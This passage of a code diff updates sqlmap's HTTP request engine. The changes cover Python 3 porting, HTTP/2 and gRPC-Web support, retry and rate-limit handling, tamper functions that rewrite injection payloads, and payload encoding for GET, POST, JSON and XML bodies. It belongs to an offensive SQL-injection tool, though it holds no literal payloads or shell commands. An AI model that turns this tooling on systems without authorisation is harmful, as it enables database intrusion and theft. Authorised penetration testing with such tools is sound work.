grpcEncodeBody(post) + + post = getBytes(post) + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/6049 + if cmdLineOptions.method is None and method == HTTPMETHOD.GET and post == b"": + post = None + + if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST: + if kb.place != HTTPMETHOD.POST: + conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) + else: + post = urldecode(post, convall=True) + post = encodeBase64(post) + + if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST): req = MethodRequest(url, post, headers) - req.set_method(method) + req.set_method(cmdLineOptions.method or method) + elif url is not None: + req = _urllib.request.Request(url, post, headers) else: - req = urllib2.Request(url, post, headers) + return None, None, None + + for function in kb.preprocessFunctions: + try: + function(req) + except Exception as ex: + errMsg = "error occurred while running preprocess " + errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) + raise SqlmapGenericException(errMsg) + else: + post, headers = req.data, req.headers - requestHeaders += "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()) + requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()]) if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: conf.cj._policy._now = conf.cj._now = int(time.time()) - cookies = conf.cj._cookies_for_request(req) - requestHeaders += "\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) + with conf.cj._cookies_lock: + cookies = conf.cj._cookies_for_request(req) + requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) if post is not None: - if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH): - requestHeaders += "\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post)) + if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked: + requestHeaders += "\r\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post)) if not getRequestHeader(req, HTTP_HEADER.CONNECTION): - requestHeaders += "\n%s: close" % HTTP_HEADER.CONNECTION + requestHeaders += "\r\n%s: %s" % (HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive") - requestMsg += "\n%s" % requestHeaders + requestMsg += "\r\n%s" % requestHeaders if post is not None: - requestMsg += "\n\n%s" % getUnicode(post) + requestMsg += "\r\n\r\n%s" % getUnicode(post) - requestMsg += "\n" - - threadData.lastRequestMsg = requestMsg - - logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + if not chunked: + requestMsg += "\r\n" if conf.cj: for cookie in conf.cj: if cookie.value is None: cookie.value = "" + else: + for char in (r"\r", r"\n"): + cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) + + # Build-only capture: return the fully-assembled request instead of sending it, so the + # HTTP/2 timeless-timing oracle (lib/request/timeless.py) can coalesce two of these into a + # single multiplexed pair rather than issue them as independent single-stream requests. + if kwargs.get("buildOnly"): + return (url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post) + + if conf.http2: + from lib.request.http2 import open_url as http2OpenUrl + + h2proxy = None + if conf.proxy: + _proxyParts = _urllib.parse.urlsplit(conf.proxy if "://" in conf.proxy else "http://%s" % conf.proxy) + if (_proxyParts.scheme or "").lower().startswith("socks"): + raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)") + h2proxy = (_proxyParts.hostname, _proxyParts.port or 8080, conf.proxyCred or None) + + try: + conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy) + except IOError as ex: + raise _http_client.HTTPException(getSafeExString(ex)) + else: + if conn.code >= 400: + raise _urllib.error.HTTPError(url, conn.code, conn.msg, conn.info(), io.BytesIO(conn.read())) - conn = urllib2.urlopen(req) + requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1) + + if not multipart: + threadData.lastRequestMsg = requestMsg + + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + else: + if not multipart: + threadData.lastRequestMsg = requestMsg + + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + + conn = _urllib.request.urlopen(req) if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): - kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) + kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)) if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION) @@ -457,151 +744,251 @@ class _(dict): return conn, None, None # Get HTTP response - if hasattr(conn, 'redurl'): - page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\ - else Connect._connReadProxy(conn)) if not skipRead else None - skipLogTraffic = kb.redirectChoice == REDIRECTION.NO - code = conn.redcode + if hasattr(conn, "redurl"): + page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None + skipLogTraffic = kb.choices.redirect == REDIRECTION.NO + code = conn.redcode if not finalCode else code else: page = Connect._connReadProxy(conn) if not skipRead else None - code = code or conn.code - responseHeaders = conn.info() - responseHeaders[URI_HTTP_HEADER] = conn.geturl() - page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) - status = getUnicode(conn.msg) + if conn: + code = (code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes) + responseHeaders = conn.info() + responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, "geturl") else url - if extractRegexResult(META_REFRESH_REGEX, page) and not refreshing: - url = extractRegexResult(META_REFRESH_REGEX, page) + if getattr(conn, "redurl", None) is not None: + responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl - debugMsg = "got HTML meta refresh header" - logger.debug(debugMsg) + responseHeaders = patchHeaders(responseHeaders) + kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader) + else: + code = None + responseHeaders = {} - if kb.alwaysRefresh is None: - msg = "sqlmap got a refresh request " - msg += "(redirect like response common to login pages). " - msg += "Do you want to apply the refresh " - msg += "from now on (or stay on the original page)? [Y/n]" - choice = readInput(msg, default="Y") + page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling) + status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None - kb.alwaysRefresh = choice not in ("n", "N") + kb.connErrorCounter = 0 - if kb.alwaysRefresh: - if url.lower().startswith('http://'): - kwargs['url'] = url - else: - kwargs['url'] = conf.url[:conf.url.rfind('/') + 1] + url + if not refreshing: + refresh = responseHeaders.get(HTTP_HEADER.REFRESH, "").split("url=")[-1].strip() - threadData.lastRedirectMsg = (threadData.lastRequestUID, page) - kwargs['refreshing'] = True - kwargs['get'] = None - kwargs['post'] = None + if extractRegexResult(META_REFRESH_REGEX, page): + refresh = extractRegexResult(META_REFRESH_REGEX, page) - try: - return Connect._getPageProxy(**kwargs) - except SqlmapSyntaxException: - pass + debugMsg = "got HTML meta refresh header" + logger.debug(debugMsg) + + if not refresh: + refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page) + + if refresh: + debugMsg = "got Javascript redirect logic" + logger.debug(debugMsg) + + if refresh: + if kb.alwaysRefresh is None: + msg = "got a refresh intent " + msg += "(redirect like response common to login pages) to '%s'. " % refresh + msg += "Do you want to apply it from now on? [Y/n]" + + kb.alwaysRefresh = readInput(msg, default='Y', boolean=True) + + if kb.alwaysRefresh: + if re.search(r"\Ahttps?://", refresh, re.I): + url = refresh + else: + url = _urllib.parse.urljoin(url, refresh) + + threadData.lastRedirectMsg = (threadData.lastRequestUID, page) + kwargs["refreshing"] = True + kwargs["url"] = url + kwargs["get"] = None + kwargs["post"] = None + + try: + return Connect._getPageProxy(**kwargs) + except SqlmapSyntaxException: + pass # Explicit closing of connection object if conn and not conf.keepAlive: try: - if hasattr(conn.fp, '_sock'): + if hasattr(conn, "fp") and hasattr(conn.fp, '_sock'): conn.fp._sock.close() conn.close() - except Exception, ex: + except Exception as ex: warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex) - logger.warn(warnMsg) + logger.warning(warnMsg) + + # Keep-alive: dispose the response explicitly. Its wrapped close() hands the socket + # back to the pool when the body was fully drained, otherwise drops it (a size-capped + # partial read must not be reused). This avoids leaning on GC to reclaim it (delayed on + # non-refcounting runtimes like PyPy). Guarded by the handler's marker so the HTTP/2 + # reuse pool is left untouched. + elif conn is not None and getattr(conn, "_keepaliveManaged", False): + try: + conn.close() + except Exception: + pass + + except SqlmapConnectionException as ex: + if conf.proxyList and not kb.threadException: + warnMsg = "unable to connect to the target URL ('%s')" % getSafeExString(ex) + logger.critical(warnMsg) + threadData.retriesCount = conf.retries + return Connect._retryProxy(**kwargs) + else: + raise - except urllib2.HTTPError, ex: + except _urllib.error.HTTPError as ex: page = None responseHeaders = None + if checking: + return None, None, None + try: page = ex.read() if not skipRead else None responseHeaders = ex.info() responseHeaders[URI_HTTP_HEADER] = ex.geturl() - page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) + responseHeaders = patchHeaders(responseHeaders) + page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling) except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % ex.code - logger.warn(warnMsg) + logger.warning(warnMsg) return None, None, None except KeyboardInterrupt: raise except: pass finally: - page = page if isinstance(page, unicode) else getUnicode(page) + page = getUnicode(page) code = ex.code + status = getUnicode(getattr(ex, "reason", None) or getSafeExString(ex).split(": ", 1)[-1]) kb.originalCode = kb.originalCode or code - threadData.lastHTTPError = (threadData.lastRequestUID, code) + threadData.lastHTTPError = (threadData.lastRequestUID, code, status) kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1 - status = getUnicode(ex.msg) - responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status) + responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) - if responseHeaders: - logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()) + if responseHeaders and getattr(responseHeaders, "headers", None): + logHeaders = "".join(getUnicode(responseHeaders.headers)).strip() - logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])) + logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) skipLogTraffic = True if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: - responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) - - logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - - if ex.code == httplib.UNAUTHORIZED and not conf.ignore401: - errMsg = "not authorized, try to provide right HTTP " - errMsg += "authentication type and valid credentials (%d)" % code - raise SqlmapConnectionException(errMsg) - elif ex.code == httplib.NOT_FOUND: - if raise404: - errMsg = "page not found (%d)" % code + responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]) + + if not multipart: + logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) + + if code in conf.abortCode: + errMsg = "aborting due to detected HTTP code '%d'" % code + singleTimeLogMessage(errMsg, logging.CRITICAL) + raise SystemExit + + if ex.code not in (conf.ignoreCode or []): + if ex.code == TOO_MANY_REQUESTS_HTTP_CODE or (ex.code == _http_client.SERVICE_UNAVAILABLE and Connect._parseRetryAfter(responseHeaders) is not None): + retried = Connect._rateLimitRetry(responseHeaders, ex.code, **kwargs) + if retried is not None: + return retried + debugMsg = "target kept rate-limiting after %d retries (%d)" % (conf.retries, code) + logger.debug(debugMsg) + elif ex.code == _http_client.UNAUTHORIZED: + errMsg = "not authorized, try to provide right HTTP " + errMsg += "authentication type and valid credentials (%d). " % code + errMsg += "If this is intended, try to rerun by providing " + errMsg += "a valid value for option '--ignore-code'" raise SqlmapConnectionException(errMsg) - else: - debugMsg = "page not found (%d)" % code - singleTimeLogMessage(debugMsg, logging.DEBUG) - processResponse(page, responseHeaders) - elif ex.code == httplib.GATEWAY_TIMEOUT: - if ignoreTimeout: - return None, None, None - else: - warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, httplib.responses[ex.code]) - if threadData.retriesCount < conf.retries and not kb.threadException: - warnMsg += ". sqlmap is going to retry the request" - logger.critical(warnMsg) - return Connect._retryProxy(**kwargs) - elif kb.testMode: - logger.critical(warnMsg) - return None, None, None + elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED): + warnMsg = "turning off HTTP chunked transfer encoding " + warnMsg += "as it seems that the target site doesn't support it (%d)" % code + singleTimeWarnMessage(warnMsg) + conf.chunked = kwargs["chunked"] = False + return Connect.getPage(**kwargs) + elif ex.code == _http_client.REQUEST_URI_TOO_LONG: + warnMsg = "request URI is marked as too long by the target. " + warnMsg += "you are advised to try a switch '--no-cast' and/or '--no-escape'" + singleTimeWarnMessage(warnMsg) + elif ex.code == _http_client.NOT_FOUND: + if raise404: + errMsg = "page not found (%d)" % code + raise SqlmapConnectionException(errMsg) else: - raise SqlmapConnectionException(warnMsg) - else: - debugMsg = "got HTTP error code: %d (%s)" % (code, status) - logger.debug(debugMsg) + debugMsg = "page not found (%d)" % code + singleTimeLogMessage(debugMsg, logging.DEBUG) + elif ex.code == _http_client.GATEWAY_TIMEOUT: + if ignoreTimeout: + return None if not conf.ignoreTimeouts else "", None, None + else: + warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, _http_client.responses[ex.code]) + if threadData.retriesCount < conf.retries and not kb.threadException: + warnMsg += ". sqlmap is going to retry the request" + logger.critical(warnMsg) + return Connect._retryProxy(**kwargs) + elif kb.testMode: + logger.critical(warnMsg) + return None, None, None + else: + raise SqlmapConnectionException(warnMsg) + else: + debugMsg = "got HTTP error code: %d ('%s')" % (code, status) + logger.debug(debugMsg) - except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException): + except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError): tbMsg = traceback.format_exc() - if "no host given" in tbMsg: + if conf.debug: + dataToStdout(tbMsg) + + if checking: + return None, None, None + elif "KeyError:" in tbMsg: + if "content-length" in tbMsg: + return None, None, None + else: + raise + elif "AttributeError:" in tbMsg: + if "WSAECONNREFUSED" in tbMsg: + return None, None, None + else: + raise + elif "no host given" in tbMsg: warnMsg = "invalid URL address used (%s)" % repr(url) raise SqlmapSyntaxException(warnMsg) - elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg: + elif any(_ in tbMsg for _ in ("forcibly closed", "Connection is already closed", "ConnectionAbortedError")): warnMsg = "connection was forcibly closed by the target URL" elif "timed out" in tbMsg: if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): - singleTimeWarnMessage("there is a possibility that the target (or WAF) is dropping 'suspicious' requests") + singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests") + kb.droppingRequests = True warnMsg = "connection timed out to the target URL" + elif "Connection reset" in tbMsg: + if not conf.disablePrecon: + singleTimeWarnMessage("turning off pre-connect mechanism because of connection reset(s)") + conf.disablePrecon = True + + if kb.testMode: + singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests") + kb.droppingRequests = True + warnMsg = "connection reset to the target URL" elif "URLError" in tbMsg or "error" in tbMsg: warnMsg = "unable to connect to the target URL" + match = re.search(r"Errno \d+\] ([^>\n]+)", tbMsg) + if match: + warnMsg += " ('%s')" % match.group(1).strip() elif "NTLM" in tbMsg: warnMsg = "there has been a problem with NTLM authentication" + elif "Invalid header name" in tbMsg: # (e.g. PostgreSQL ::Text payload) + return None, None, None elif "BadStatusLine" in tbMsg: warnMsg = "connection dropped or unknown HTTP " warnMsg += "status code received" @@ -612,22 +999,38 @@ class _(dict): warnMsg = "there was an incomplete read error while retrieving data " warnMsg += "from the target URL" elif "Handshake status" in tbMsg: - status = re.search("Handshake status ([\d]{3})", tbMsg) + status = re.search(r"Handshake status ([\d]{3})", tbMsg) errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown" raise SqlmapConnectionException(errMsg) + elif "SqlmapCompressionException" in tbMsg: + warnMsg = "problems with response (de)compression" + retrying = True else: warnMsg = "unable to connect to the target URL" - if "BadStatusLine" not in tbMsg: + if "BadStatusLine" not in tbMsg and any((conf.proxy, conf.tor)): warnMsg += " or proxy" if silent: return None, None, None - elif "forcibly closed" in tbMsg: + + with kb.locks.connError: + kb.connErrorCounter += 1 + + if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None: + message = "there seems to be a continuous problem with connection to the target. " + message += "Are you sure that you want to continue? [y/N] " + + kb.choices.connError = readInput(message, default='N', boolean=True) + + if kb.choices.connError is False: + raise SqlmapSkipTargetException + + if "forcibly closed" in tbMsg: logger.critical(warnMsg) return None, None, None - elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")): - return None, None, None + elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead", "Interrupted system call")): + return None if not conf.ignoreTimeouts else "", None, None elif threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" if not retrying: @@ -636,62 +1039,100 @@ class _(dict): else: logger.debug(warnMsg) return Connect._retryProxy(**kwargs) - elif kb.testMode: + elif kb.testMode or kb.multiThreadMode: logger.critical(warnMsg) return None, None, None else: raise SqlmapConnectionException(warnMsg) finally: - if isinstance(page, basestring) and not isinstance(page, unicode): + for function in kb.postprocessFunctions: + try: + page, responseHeaders, code = function(page, responseHeaders, code) + except Exception as ex: + errMsg = "error occurred while running postprocess " + errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) + raise SqlmapGenericException(errMsg) + + if isinstance(page, six.binary_type): if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): - page = unicode(page, errors="ignore") + page = six.text_type(page, errors="ignore") else: page = getUnicode(page) - socket.setdefaulttimeout(conf.timeout) - processResponse(page, responseHeaders) + for _ in (getattr(conn, "redcode", None), code): + if _ is not None and _ in conf.abortCode: + errMsg = "aborting due to detected HTTP code '%d'" % _ + singleTimeLogMessage(errMsg, logging.CRITICAL) + raise SystemExit - if conn and getattr(conn, "redurl", None): - _ = urlparse.urlsplit(conn.redurl) - _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) - requestMsg = re.sub("(\n[A-Z]+ ).+?( HTTP/\d)", "\g<1>%s\g<2>" % re.escape(getUnicode(_)), requestMsg, 1) + # decode a gRPC-Web response to readable text so the oracle/error/inband paths see the + # message fields + trailer (grpc-message) instead of an opaque base64 blob. Headers are + # passed so a trailers-only error (empty body, grpc-status/message in headers) is still surfaced + if kb.postHint == POST_HINT.GRPC_WEB: + page = grpcDecodeResponse(page, responseHeaders) - if kb.resendPostOnRedirect is False: - requestMsg = re.sub("(\[#\d+\]:\n)POST ", "\g<1>GET ", requestMsg) - requestMsg = re.sub("(?i)Content-length: \d+\n", "", requestMsg) - requestMsg = re.sub("(?s)\n\n.+", "\n", requestMsg) + threadData.lastPage = page + threadData.lastCode = code - responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, conn.code, status) - else: - responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status) + socket.setdefaulttimeout(conf.timeout) - if responseHeaders: - logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()) + # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091) + if not sys.version.startswith("3.11."): + if conf.retryOn and re.search(conf.retryOn, page or "", re.I): + if threadData.retriesCount < conf.retries: + warnMsg = "forced retry of the request because of undesired page content" + logger.warning(warnMsg) + return Connect._retryProxy(**kwargs) + + processResponse(page, responseHeaders, code, status) if not skipLogTraffic: - logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])) + if conn and getattr(conn, "redurl", None): + _ = _urllib.parse.urlsplit(conn.redurl) + _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) + requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, count=1) + + if kb.resendPostOnRedirect is False: + requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg) + requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg) + requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg) + + responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, conn.code, status) + elif "\n" not in responseMsg: + responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) - if conf.verbose <= 5: - responseMsg += getUnicode(logHeaders) - elif conf.verbose > 5: - responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) + if responseHeaders: + logHeaders = "".join(getUnicode(responseHeaders.headers)).strip() + + logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) + + if conf.verbose <= 5: + responseMsg += getUnicode(logHeaders) + elif conf.verbose > 5: + responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]) - logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) + if not multipart: + logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) return page, responseHeaders, code @staticmethod - def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): + @stackedmethod + def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False, buildOnly=False): """ This method calls a function to get the target URL page content - and returns its page MD5 hash or a boolean value in case of - string match check ('--string' command line parameter) + and returns its page ratio (0 <= ratio <= 1) or a boolean value + representing False/True match in case of !getRatioValue """ if conf.direct: return direct(value, content) + # Snapshot the pristine payload for the timeless oracle before placement/tampering rewrites it, + # so its sentinel-bracketed comparison can be negated to build the symmetric-oracle pair. + timelessOrigValue = value if (timeBasedCompare and kb.get("timeless") is not None) else None + get = None post = None cookie = None @@ -706,77 +1147,118 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if not place: place = kb.injection.place or PLACE.GET + kb.place = place + if not auxHeaders: auxHeaders = {} raise404 = place != PLACE.URI if raise404 is None else raise404 method = method or conf.method + postUrlEncode = kb.postUrlEncode + value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() + # Opt-in sanity lint of the outbound (pre-tamper) payload. Skipped during + # detection (kb.testMode) where deliberately-invalid probes are expected; + # for operational payloads a structural defect is a genuine bug worth a + # heads-up. Enabled via SQLMAP_LINT_PAYLOADS (e.g. CI/--vuln-test runs). + if payload and not kb.testMode and os.environ.get("SQLMAP_LINT_PAYLOADS"): + for issue in checkSanity(agent.removePayloadDelimiters(value)): + singleTimeWarnMessage("potentially malformed SQL payload emitted (%s): %s" % (issue, payload)) + break + if conf.httpHeaders: headers = OrderedDict(conf.httpHeaders) - contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) + contentType = max(headers[_] or "" if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else "" for _ in headers) or None - if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode: - kb.postUrlEncode = False - conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] - contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) - conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) + if (kb.postHint or conf.skipUrlEncode) and postUrlEncode: + postUrlEncode = False + if not (conf.skipUrlEncode and contentType): # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5092 + conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] + contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) + conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) + if "urlencoded" in contentType: + postUrlEncode = True if payload: - if kb.tamperFunctions: + delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER) + + if not disableTampering and kb.tamperFunctions: for function in kb.tamperFunctions: + hints = {} + try: - payload = function(payload=payload, headers=auxHeaders) - except Exception, ex: + payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints) + except Exception as ex: errMsg = "error occurred while running tamper " - errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex)) + errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) - if not isinstance(payload, basestring): - errMsg = "tamper function '%s' returns " % function.func_name + if not isinstance(payload, six.string_types): + errMsg = "tamper function '%s' returns " % function.__name__ errMsg += "invalid payload type ('%s')" % type(payload) raise SqlmapValueException(errMsg) value = agent.replacePayload(value, payload) - logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) + if hints: + if HINT.APPEND in hints: + value = "%s%s%s" % (value, delimiter, hints[HINT.APPEND]) + + if HINT.PREPEND in hints: + if place == PLACE.URI: + match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value) + if match: + value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0))) + else: + value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value) + + logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\')) if place == PLACE.CUSTOM_POST and kb.postHint: - if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): + if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML) and not conf.skipXmlEncode: # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts - payload = payload.replace('>', ">").replace('<', "<") - elif kb.postHint == POST_HINT.JSON: - if payload.startswith('"') and payload.endswith('"'): - payload = json.dumps(payload[1:-1]) - else: - payload = json.dumps(payload)[1:-1] + payload = payload.replace("&#", SAFE_HEX_MARKER) + payload = payload.replace('&', "&").replace('>', ">").replace('<', "<").replace('"', """).replace("'", "'") # Reference: https://stackoverflow.com/a/1091953 + payload = payload.replace(SAFE_HEX_MARKER, "&#") + elif kb.postHint in (POST_HINT.JSON, POST_HINT.GRPC_WEB): + payload = escapeJsonValue(payload) elif kb.postHint == POST_HINT.JSON_LIKE: payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') - if payload.startswith('"') and payload.endswith('"'): - payload = json.dumps(payload[1:-1]) - else: - payload = json.dumps(payload)[1:-1] + payload = escapeJsonValue(payload) payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded - if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode: - payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below - value = agent.replacePayload(value, payload) + if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and 